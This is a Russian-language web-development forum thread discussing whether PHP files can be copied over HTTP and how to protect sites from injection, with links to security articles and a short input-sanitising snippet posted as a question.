хм, прикольно, я ж говорю, надо только хорошо поспорить, чтоб из тебя инфо вытащить, а ты в танк, танк...
да, никаких php нету...

а как же тогда можно их стибрить?
помнится эту идею Bushart предлагал
Цитата(BuShaRt @  14.12.2007,  11:24 Найти цитируемый пост)
Когда вы придумаете вариант защиты txt файла от редактирования/копирования, при сохранение возможности его парсинга браузером, тогда можно продолжить бесуду

или это он про что-то другое?
PM MAIL WWW   Вверх
Feldmarschall
Дата 18.12.2007, 17:27 (ссылка) |    (голосов:3) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок
****


Профиль
Группа: Участник
Сообщений: 2641
Регистрация: 11.12.2007

Репутация: нет
Всего: 32



Послушай.
Веб-сервер - это сервис, который отвечает по протоколу НТТР.
есть адрес (URI), есть запрос, есть ответ.
Никаких файлов в НТТР нету. Никаких физических файлов на сервере может не быть - ни php, ни txt, ни jpg.
есть только запрос и ответ.
мы запросили URI http://forum.vingrad.ru/style_images/2/menu/menu_forum.gif
нам вернули заголовки и тело ответа.
мы запросили URI http://forum.vingrad.ru/test.txt - нам вернули заголовки и тело ответа.
запросили http://forum.vingrad.ru/index.php - вернули заголовки и тело ответа.

причем всякий раз это могут быть не те заголовки и не то тело, которое мы ожидаем.
menu_forum.gif может вернуть html
index.php - gif
test.txt - rar архив.

Отсюда становится ясно, что никакой файл с сервера мы скопировать по НТТР не можем. Мы просто не видим никаких файлов. Мы получаем ответ сервера. А, в частности, ответ при обращении к php файлу представляет собой результат его работы (если сервер настроен)
Это по поводу копирования.

По поводу того, что говорил BuShaRt - я не понял, при чем здесь редактирование. В остальном, я думаю, он имел в виду, что Txt файл нельзя
запретить скачивать.  Это невозможно. Можно запретить или всем, или никому. Если один человек может качать "защищаемый" файл - значит, и другой может. Он доказывал невозможность создания стопроцентной защиты по теме топика.
PM   Вверх
bars80080
Дата 18.12.2007, 17:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: нет
Всего: 315



что в принципе и нужно,
букарт, злодей, в сомнения ввёл
и InfMag тоже
PM MAIL WWW   Вверх
gemaglabin
Дата 10.2.2008, 13:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 10
Регистрация: 10.2.2008

Репутация: нет
Всего: нет



Думаю,будет интересно взглянуть тем разработчикам , для которых фильтрация от иньекций уже давно обыденность ,  на на мой материал 
Код

http://underwater.itdefence.ru/blog/php_bugs.txt

PM MAIL WWW   Вверх
Vaulter
Дата 10.2.2008, 15:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1724
Регистрация: 30.12.2002
Где: бункер

Репутация: нет
Всего: 22



Безопасность web-сайта 
http://vaultsoft.ru/txt.rus/safe-web-site.html


--------------------
PM MAIL WWW ICQ   Вверх
Kremnik
Дата 30.3.2009, 13:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 41
Регистрация: 5.9.2008

Репутация: нет
Всего: нет



Код

$this->post = trim($this->post);
$this->post = strip_tags($this->post);
$this->post = addslashes($this->post);
$this->post = mysql_real_escape_string($this->post);

Стандарт?
PM MAIL   Вверх
Ответ в темуСоздание новой темы Создание опроса
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Избранное | Следующая тема »


 




[ Время генерации скрипта: 0.3276 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.